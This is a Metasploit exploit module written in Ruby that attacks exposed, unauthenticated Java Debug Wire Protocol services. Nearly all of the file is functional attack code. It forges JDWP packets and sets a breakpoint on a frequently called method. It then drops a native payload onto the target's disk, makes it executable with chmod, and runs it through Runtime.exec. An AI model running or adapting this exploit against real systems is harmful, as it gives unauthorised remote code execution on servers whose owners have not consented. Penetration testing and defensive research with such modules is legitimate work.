827 lines
26 KiB
Ruby
827 lines
26 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
HANDSHAKE = "JDWP-Handshake"
|
|
|
|
REQUEST_PACKET_TYPE = 0x00
|
|
REPLY_PACKET_TYPE = 0x80
|
|
|
|
# Command signatures
|
|
VERSION_SIG = [1, 1]
|
|
CLASSESBYSIGNATURE_SIG = [1, 2]
|
|
ALLCLASSES_SIG = [1, 3]
|
|
ALLTHREADS_SIG = [1, 4]
|
|
IDSIZES_SIG = [1, 7]
|
|
CREATESTRING_SIG = [1, 11]
|
|
SUSPENDVM_SIG = [1, 8]
|
|
RESUMEVM_SIG = [1, 9]
|
|
SIGNATURE_SIG = [2, 1]
|
|
FIELDS_SIG = [2, 4]
|
|
METHODS_SIG = [2, 5]
|
|
GETVALUES_SIG = [2, 6]
|
|
CLASSOBJECT_SIG = [2, 11]
|
|
INVOKESTATICMETHOD_SIG = [3, 3]
|
|
CREATENEWINSTANCE_SIG = [3, 4]
|
|
REFERENCETYPE_SIG = [9, 1]
|
|
INVOKEMETHOD_SIG = [9, 6]
|
|
STRINGVALUE_SIG = [10, 1]
|
|
THREADNAME_SIG = [11, 1]
|
|
THREADSUSPEND_SIG = [11, 2]
|
|
THREADRESUME_SIG = [11, 3]
|
|
THREADSTATUS_SIG = [11, 4]
|
|
EVENTSET_SIG = [15, 1]
|
|
EVENTCLEAR_SIG = [15, 2]
|
|
EVENTCLEARALL_SIG = [15, 3]
|
|
|
|
# Other codes
|
|
MODKIND_COUNT = 1
|
|
MODKIND_THREADONLY = 2
|
|
MODKIND_CLASSMATCH = 5
|
|
MODKIND_LOCATIONONLY = 7
|
|
EVENT_BREAKPOINT = 2
|
|
SUSPEND_EVENTTHREAD = 1
|
|
SUSPEND_ALL = 2
|
|
NOT_IMPLEMENTED = 99
|
|
VM_DEAD = 112
|
|
INVOKE_SINGLE_THREADED = 2
|
|
TAG_OBJECT = 76
|
|
TAG_STRING = 115
|
|
TYPE_CLASS = 1
|
|
TAG_ARRAY = 91
|
|
TAG_VOID = 86
|
|
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
|
|
'Description' => %q{
|
|
This module abuses exposed Java Debug Wire Protocol services in order
|
|
to execute arbitrary Java code remotely. It just uses the protocol
|
|
features, since no authentication is required if the service is enabled.
|
|
},
|
|
'Author' => [
|
|
'prdelka', # Vulnerability discovery
|
|
'Christophe Alladoum', # JDWP Analysis and Exploit
|
|
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
|
|
],
|
|
'References' =>
|
|
[
|
|
['OSVDB', '96066'],
|
|
['EDB', '27179'],
|
|
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
|
|
['URL', 'http://www.exploit-db.com/papers/27179/'],
|
|
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
|
|
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
|
|
],
|
|
'Platform' => %w{ linux win },
|
|
'Arch' => ARCH_X86,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'BadChars' => '',
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[ 'Windows x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'win'
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => 'May 29 2014'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8000),
|
|
OptInt.new('STATUS_EVERY', [true, 'How many iterations until status', 1000]),
|
|
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
|
|
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
|
|
OptString.new('BREAKPOINT', [ true, 'Frequently called method for setting breakpoint', 'java.net.ServerSocket.accept' ]),
|
|
OptPort.new('BREAKPOINT_PORT', [ false, 'If debugging an application accessible from network and breakpoint is on socket accept, set the port of the app to force a socket connection' ])
|
|
], self.class)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('BREAK_TIMEOUT', [true, 'Number of seconds to wait for a breakpoint hit', 30]),
|
|
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
connect
|
|
res = handshake
|
|
disconnect
|
|
|
|
if res.nil?
|
|
return Exploit::CheckCode::Unknown
|
|
elsif res == HANDSHAKE
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
|
|
def peer
|
|
return "#{rhost}:#{rport}"
|
|
end
|
|
|
|
# Establishes handshake with the server
|
|
def handshake
|
|
sock.put(HANDSHAKE)
|
|
|
|
return sock.get(datastore['RESPONSE_TIMEOUT'])
|
|
end
|
|
|
|
# Forges packet for JDWP protocol
|
|
def create_packet(cmdsig, data="")
|
|
flags = 0x00
|
|
|
|
cmdset, cmd = cmdsig
|
|
|
|
pktlen = data.length + 11
|
|
|
|
buf = [pktlen, @my_id, flags, cmdset, cmd]
|
|
|
|
pkt = buf.pack("NNCCC")
|
|
|
|
pkt << data
|
|
|
|
@my_id += 2
|
|
|
|
return pkt
|
|
end
|
|
|
|
# Reads packet response for JDWP protocol
|
|
def read_reply(timeout)
|
|
|
|
response = sock.get(timeout)
|
|
|
|
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
|
|
|
|
pktlen,id,flags,errcode = response.unpack('NNCn')
|
|
|
|
response.slice!(0..10)
|
|
|
|
fail_with(Failure::Unknown, "Server sent error with code #{errcode}") if (errcode != 0) && (flags == REPLY_PACKET_TYPE)
|
|
|
|
return response
|
|
end
|
|
|
|
# Returns the characters contained in the string defined in target VM
|
|
def solve_string(data)
|
|
|
|
sock.put(create_packet(STRINGVALUE_SIG, data))
|
|
|
|
response = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
|
|
return "" unless response
|
|
|
|
return read_string(response)
|
|
|
|
end
|
|
|
|
# Unpacks received string structure from the server response into a normal string
|
|
def read_string(data)
|
|
|
|
data_len = data.unpack('N')[0]
|
|
|
|
data.slice!(0..3)
|
|
|
|
return data.slice!(0,data_len)
|
|
|
|
end
|
|
|
|
# Creates a new string object in the target VM and returns its id
|
|
def create_string(data)
|
|
buf = build_string(data)
|
|
|
|
sock.put(create_packet(CREATESTRING_SIG, buf))
|
|
|
|
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
|
|
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
|
|
|
|
end
|
|
|
|
# Packs normal string into string structure for target VM
|
|
def build_string(data)
|
|
ret = [data.length].pack('N')
|
|
ret << data
|
|
|
|
return ret
|
|
|
|
end
|
|
|
|
|
|
# Pack Fixnum for JDWP protocol
|
|
def format(fmt, value)
|
|
if fmt == "L" || fmt == 8
|
|
return [value].pack('Q>')
|
|
elsif fmt == "I" || fmt == 4
|
|
return [value].pack('N')
|
|
end
|
|
|
|
fail_with(Failure::Unknown, "Unknown format")
|
|
|
|
end
|
|
|
|
# Unpack Fixnum from JDWP protocol
|
|
def unformat(fmt, value)
|
|
if fmt == "L" || fmt == 8
|
|
return value[0..7].unpack('Q>')[0]
|
|
elsif fmt == "I" || fmt == 4
|
|
return value[0..3].unpack('N')[0]
|
|
end
|
|
|
|
fail_with(Failure::Unknown, "Unknown format")
|
|
end
|
|
|
|
# Parses given data according to a set of formats
|
|
def parse_entries(buf, formats, explicit=true)
|
|
entries = []
|
|
|
|
if explicit
|
|
nb_entries = buf.unpack('N')[0]
|
|
buf.slice!(0..3)
|
|
else
|
|
nb_entries = 1
|
|
end
|
|
|
|
nb_entries.times do |var|
|
|
|
|
print_status("#{peer} - #{Time.now.getutc} - Parsed #{var} classes of #{nb_entries}") if var != 0 && var % datastore['STATUS_EVERY'] == 0
|
|
|
|
data = {}
|
|
|
|
formats.each do |fmt,name|
|
|
if fmt == "L" or fmt == 8
|
|
data[name] = buf.unpack('Q>')[0]
|
|
buf.slice!(0..7)
|
|
elsif fmt == "I" or fmt == 4
|
|
data[name] = buf.unpack('N')[0]
|
|
buf.slice!(0..3)
|
|
elsif fmt == "S"
|
|
data_len = buf.unpack('N')[0]
|
|
buf.slice!(0..3)
|
|
data[name] = buf.slice!(0,data_len)
|
|
elsif fmt == "C"
|
|
data[name] = buf.unpack('C')[0]
|
|
buf.slice!(0)
|
|
elsif fmt == "Z"
|
|
t = buf.unpack('C')[0]
|
|
buf.slice!(0)
|
|
if t == 115
|
|
data[name] = solve_string(buf.slice!(0..7))
|
|
elsif t == 73
|
|
data[name], buf = buf.unpack('NN')
|
|
end
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
|
|
end
|
|
|
|
end
|
|
entries.append(data)
|
|
end
|
|
|
|
return entries
|
|
end
|
|
|
|
|
|
# Gets the sizes of variably-sized data types in the target VM
|
|
def get_sizes
|
|
formats = [
|
|
["I", "fieldid_size"],
|
|
["I", "methodid_size"],
|
|
["I", "objectid_size"],
|
|
["I", "referencetypeid_size"],
|
|
["I", "frameid_size"]
|
|
]
|
|
sock.put(create_packet(IDSIZES_SIG))
|
|
response = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
entries = parse_entries(response, formats, false)
|
|
entries.each { |e| @vars.merge!(e) }
|
|
end
|
|
|
|
|
|
# Gets the JDWP version implemented by the target VM
|
|
def get_version
|
|
formats = [
|
|
["S", "descr"],
|
|
["I", "jdwp_major"],
|
|
["I", "jdwp_minor"],
|
|
["S", "vm_version"],
|
|
["S", "vm_name"]
|
|
]
|
|
sock.put(create_packet(VERSION_SIG))
|
|
response = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
entries = parse_entries(response, formats, false)
|
|
entries.each { |e| @vars.merge!(e) }
|
|
end
|
|
|
|
|
|
def version
|
|
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
|
|
end
|
|
|
|
|
|
# Returns reference types for all classes currently loaded by the target VM
|
|
def get_all_classes
|
|
return unless @classes.empty?
|
|
|
|
formats = [
|
|
["C", "reftype_tag"],
|
|
[@vars["referencetypeid_size"], "reftype_id"],
|
|
["S", "signature"],
|
|
["I", "status"]
|
|
]
|
|
sock.put(create_packet(ALLCLASSES_SIG))
|
|
response = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
@classes.append(parse_entries(response, formats))
|
|
end
|
|
|
|
# Checks if specified class is currently loaded by the target VM and returns it
|
|
def get_class_by_name(name)
|
|
@classes.each do |entry_array|
|
|
entry_array.each do |entry|
|
|
if entry["signature"].downcase == name.downcase
|
|
return entry
|
|
end
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
|
|
# The list of methods will include constructors (identified with the name "<init>")
|
|
def get_methods(reftype_id)
|
|
if @methods.has_key?(reftype_id)
|
|
return @methods[reftype_id]
|
|
end
|
|
|
|
formats = [
|
|
[@vars["methodid_size"], "method_id"],
|
|
["S", "name"],
|
|
["S", "signature"],
|
|
["I", "mod_bits"]
|
|
]
|
|
ref_id = format(@vars["referencetypeid_size"],reftype_id)
|
|
sock.put(create_packet(METHODS_SIG, ref_id))
|
|
response = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
@methods[reftype_id] = parse_entries(response, formats)
|
|
end
|
|
|
|
# Checks if specified method is currently loaded by the target VM and returns it
|
|
def get_method_by_name(classname, name, signature = nil)
|
|
@methods[classname].each do |entry|
|
|
if signature.nil?
|
|
return entry if entry["name"].downcase == name.downcase
|
|
else
|
|
return entry if (entry["name"].downcase == name.downcase) && (entry["signature"].downcase == signature.downcase)
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
|
|
# Checks if specified class and method are currently loaded by the target VM and returns them
|
|
def get_class_and_method(looked_class, looked_method, signature = nil)
|
|
target_class = get_class_by_name(looked_class)
|
|
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") unless target_class
|
|
|
|
get_methods(target_class["reftype_id"])
|
|
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
|
|
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") unless target_method
|
|
|
|
return target_class, target_method
|
|
end
|
|
|
|
|
|
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
|
|
def str2fqclass(s)
|
|
i = s.rindex(".")
|
|
fail_with(Failure::BadConfig, 'Bad defined break class') unless i
|
|
|
|
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
|
|
|
|
classname = 'L'
|
|
classname << s[0..i-1].gsub(/[.]/, '/')
|
|
classname << ';'
|
|
|
|
return classname, method
|
|
end
|
|
|
|
|
|
# Resumes execution of the application after the suspend command or an event has stopped it
|
|
def resume_vm
|
|
sock.put(create_packet(RESUMEVM_SIG))
|
|
response = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
|
|
fail_with(Exploit::Failure::Unknown, "No network response") unless response
|
|
end
|
|
|
|
|
|
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
|
|
def send_event(event_code, args)
|
|
data = [event_code].pack('C')
|
|
data << [SUSPEND_ALL].pack('C')
|
|
data << [args.length].pack('N')
|
|
|
|
args.each do |kind,option|
|
|
data << [kind].pack('C')
|
|
data << option
|
|
end
|
|
|
|
sock.put(create_packet(EVENTSET_SIG, data))
|
|
response = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
fail_with(Exploit::Failure::Unknown, "No network response") unless response
|
|
return response.unpack('N')[0]
|
|
end
|
|
|
|
|
|
# Waits user defined time for an event sent from the target VM (or force event if possible)
|
|
def wait_for_event
|
|
force_net_event unless datastore['BREAKPOINT_PORT'].nil? || (datastore['BREAKPOINT_PORT'] == 0)
|
|
buf = read_reply(datastore['BREAK_TIMEOUT'])
|
|
|
|
return buf
|
|
end
|
|
|
|
|
|
# Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket
|
|
def force_net_event
|
|
print_status("#{peer} - Forcing network event over #{datastore['BREAKPOINT_PORT']}")
|
|
|
|
rex_socket = Rex::Socket::Tcp.create(
|
|
'PeerHost' => rhost,
|
|
'PeerPort' => datastore['BREAKPOINT_PORT'],
|
|
)
|
|
|
|
rex_socket.put("GET / HTTP/1.0\r\n\r\n")
|
|
|
|
rex_socket.shutdown
|
|
rex_socket.close
|
|
end
|
|
|
|
|
|
# Parses a received event and compares it with the expected
|
|
def parse_event_breakpoint(buf, event_id)
|
|
r_id = buf[6..9].unpack('N')[0]
|
|
|
|
return nil unless event_id == r_id
|
|
|
|
len = @vars["objectid_size"]
|
|
t_id = unformat(len,buf[10..10+len-1])
|
|
|
|
return r_id, t_id
|
|
end
|
|
|
|
|
|
# Clear a defined event request
|
|
def clear_event(event_code, r_id)
|
|
data = [event_code].pack('C')
|
|
data << [r_id].pack('N')
|
|
sock.put(create_packet(EVENTCLEAR_SIG, data))
|
|
read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
end
|
|
|
|
|
|
# Invokes a static method. The method must be member of the class type or one of its superclasses,
|
|
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
|
|
def invoke_static(class_id, thread_id, meth_id, args = [])
|
|
data = format(@vars["referencetypeid_size"], class_id)
|
|
data << format(@vars["objectid_size"], thread_id)
|
|
data << format(@vars["methodid_size"], meth_id)
|
|
data << [args.length].pack('N')
|
|
|
|
args.each do |arg|
|
|
data << arg
|
|
data << [0].pack('N')
|
|
end
|
|
|
|
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
|
|
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
buf
|
|
end
|
|
|
|
|
|
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
|
|
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
|
|
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
|
|
data = format(@vars["objectid_size"], obj_id)
|
|
data << format(@vars["objectid_size"], thread_id)
|
|
data << format(@vars["referencetypeid_size"], class_id)
|
|
data << format(@vars["methodid_size"], meth_id)
|
|
data << [args.length].pack('N')
|
|
|
|
args.each do |arg|
|
|
data << arg
|
|
data << [0].pack('N')
|
|
end
|
|
|
|
sock.put(create_packet(INVOKEMETHOD_SIG, data))
|
|
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
buf
|
|
end
|
|
|
|
|
|
# Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type.
|
|
def create_instance(class_id, thread_id, meth_id, args = [])
|
|
data = format(@vars["referencetypeid_size"], class_id)
|
|
data << format(@vars["objectid_size"], thread_id)
|
|
data << format(@vars["methodid_size"], meth_id)
|
|
data << [args.length].pack('N')
|
|
|
|
args.each do |arg|
|
|
data << arg
|
|
data << [0].pack('N')
|
|
end
|
|
|
|
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
|
|
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
|
|
buf
|
|
end
|
|
|
|
|
|
def temp_path
|
|
return nil unless datastore['TMP_PATH']
|
|
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
|
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
|
|
end
|
|
datastore['TMP_PATH']
|
|
end
|
|
|
|
|
|
# Configures payload according to targeted architecture
|
|
def setup_payload
|
|
# 1. Setting up generic values.
|
|
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
|
pl_exe = generate_payload_exe
|
|
|
|
# 2. Setting up arch specific...
|
|
case target['Platform']
|
|
when 'linux'
|
|
path = temp_path || '/tmp/'
|
|
payload_exe = "#{path}#{payload_exe}"
|
|
when 'windows'
|
|
path = temp_path || './'
|
|
payload_exe = "#{path}#{payload_exe}.exe"
|
|
else
|
|
fail_with(Failure::NoTarget, 'Unsupported target platform')
|
|
end
|
|
|
|
return payload_exe, pl_exe
|
|
end
|
|
|
|
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
|
|
def fingerprint_os(thread_id)
|
|
size = @vars["objectid_size"]
|
|
|
|
# 1. Creates a string on target VM with the property to be getted
|
|
cmd_obj_ids = create_string("os.name")
|
|
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
|
|
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
|
|
|
# 2. Gets property
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, cmd_obj_id)
|
|
data_array = [data]
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
|
|
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
|
|
|
|
str = unformat(size, buf[1..1+size-1])
|
|
@os = solve_string(format(@vars["objectid_size"],str))
|
|
end
|
|
|
|
# Creates a file on the server given a execution thread
|
|
def create_file(thread_id, filename)
|
|
cmd_obj_ids = create_string(filename)
|
|
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
|
|
|
|
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
|
size = @vars["objectid_size"]
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, cmd_obj_id)
|
|
data_array = [data]
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
|
|
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
|
|
|
|
file = unformat(size, buf[1..1+size-1])
|
|
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
|
|
|
|
register_files_for_cleanup(filename)
|
|
|
|
file
|
|
end
|
|
|
|
|
|
# Stores the payload on a new string created in target VM
|
|
def upload_payload(thread_id, pl_exe)
|
|
size = @vars["objectid_size"]
|
|
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
|
|
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
|
|
|
|
decoder = unformat(size, buf[1..1+size-1])
|
|
fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0)
|
|
|
|
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
|
|
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
|
|
|
|
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, cmd_obj_id)
|
|
data_array = [data]
|
|
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
|
|
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C')
|
|
|
|
pl = unformat(size, buf[1..1+size-1])
|
|
pl
|
|
end
|
|
|
|
# Dumps the payload on a opened server file given a execution thread
|
|
def dump_payload(thread_id, file, pl)
|
|
size = @vars["objectid_size"]
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, pl)
|
|
data_array = [data]
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
|
|
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
|
|
fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C')
|
|
end
|
|
|
|
# Closes a file on the server given a execution thread
|
|
def close_file(thread_id, file)
|
|
size = @vars["objectid_size"]
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
|
|
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
|
|
fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C')
|
|
end
|
|
|
|
# Executes a system command on target VM making use of java.lang.Runtime.exec()
|
|
def execute_command(thread_id, cmd)
|
|
size = @vars["objectid_size"]
|
|
|
|
# 1. Creates a string on target VM with the command to be executed
|
|
cmd_obj_ids = create_string(cmd)
|
|
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
|
|
|
|
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
|
|
|
# 2. Gets Runtime context
|
|
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
|
|
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
|
|
|
|
rt = unformat(size, buf[1..1+size-1])
|
|
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0)
|
|
|
|
# 3. Finds and executes "exec" method supplying the string with the command
|
|
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
|
|
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil?
|
|
|
|
data = [TAG_OBJECT].pack('C')
|
|
data << format(size, cmd_obj_id)
|
|
data_array = [data]
|
|
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
|
|
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
|
|
end
|
|
|
|
# Sets a breakpoint on frequently called method (user-defined)
|
|
def set_breakpoint
|
|
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}")
|
|
|
|
# 1. Gets reference of the method where breakpoint is going to be setted
|
|
classname, method = str2fqclass(datastore['BREAKPOINT'])
|
|
break_class = get_class_by_name(classname)
|
|
fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application") unless break_class
|
|
|
|
get_methods(break_class["reftype_id"])
|
|
m = get_method_by_name(break_class["reftype_id"], method)
|
|
fail_with(Failure::BadConfig, "Method of Break Class not found") unless m
|
|
|
|
# 2. Sends event request for this method
|
|
loc = [TYPE_CLASS].pack('C')
|
|
loc << format(@vars["referencetypeid_size"], break_class["reftype_id"])
|
|
loc << format(@vars["methodid_size"], m["method_id"])
|
|
loc << [0,0].pack('NN')
|
|
|
|
data = [[MODKIND_LOCATIONONLY, loc]]
|
|
r_id = send_event(EVENT_BREAKPOINT, data)
|
|
fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id
|
|
|
|
r_id
|
|
end
|
|
|
|
|
|
# Uploads & executes the payload on the target VM
|
|
def exec_payload(thread_id)
|
|
# 0. Fingerprinting OS
|
|
fingerprint_os(thread_id)
|
|
|
|
vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")
|
|
|
|
# 1. Prepares the payload
|
|
payload_exe, pl_exe = setup_payload
|
|
|
|
# 2. Creates file on server for dumping payload
|
|
file = create_file(thread_id, payload_exe)
|
|
|
|
# 3. Uploads payload to the server
|
|
pl = upload_payload(thread_id, pl_exe)
|
|
|
|
# 4. Dumps uploaded payload into file on the server
|
|
dump_payload(thread_id, file, pl)
|
|
|
|
# 5. Closes the file on the server
|
|
close_file(thread_id, file)
|
|
|
|
# 5b. When linux arch, give execution permissions to file
|
|
cmd = "chmod +x #{payload_exe}"
|
|
execute_command(thread_id, cmd) if target['Platform'] == 'linux'
|
|
|
|
# 6. Executes the dumped payload
|
|
cmd = "#{payload_exe}"
|
|
execute_command(thread_id, cmd)
|
|
end
|
|
|
|
|
|
def exploit
|
|
@my_id = 0x01
|
|
@vars = {}
|
|
@classes = []
|
|
@methods = {}
|
|
@os = nil
|
|
|
|
connect
|
|
|
|
unless handshake == HANDSHAKE
|
|
fail_with(Failure::NotVulnerable, "#{peer} - JDWP Protocol not found")
|
|
end
|
|
|
|
print_status("#{peer} - Retriving the sizes of variable sized data types in the target VM...")
|
|
get_sizes
|
|
|
|
print_status("#{peer} - Getting the version of the target VM...")
|
|
get_version
|
|
|
|
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
|
|
get_all_classes
|
|
|
|
print_status("#{peer} - Setting a breakpoint on #{datastore['BREAKPOINT']}...")
|
|
r_id = set_breakpoint
|
|
|
|
print_status("#{peer} - Resuming VM and waiting for an event...")
|
|
resume_vm
|
|
|
|
secs = datastore['BREAK_TIMEOUT']
|
|
ret = ""
|
|
datastore['NUM_RETRIES'].times do |i|
|
|
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")
|
|
buf = wait_for_event
|
|
ret = parse_event_breakpoint(buf, r_id)
|
|
break unless ret.nil?
|
|
end
|
|
|
|
r_id, t_id = ret
|
|
|
|
vprint_status("#{peer} - Received matching event from thread #{t_id}")
|
|
|
|
print_status("#{peer} - Deleting breakpoint...")
|
|
clear_event(EVENT_BREAKPOINT, r_id)
|
|
|
|
print_status("#{peer} - Dropping and executing payload...")
|
|
exec_payload(t_id)
|
|
|
|
print_status("#{peer} - Resuming the target VM...")
|
|
resume_vm
|
|
|
|
disconnect
|
|
end
|
|
end
|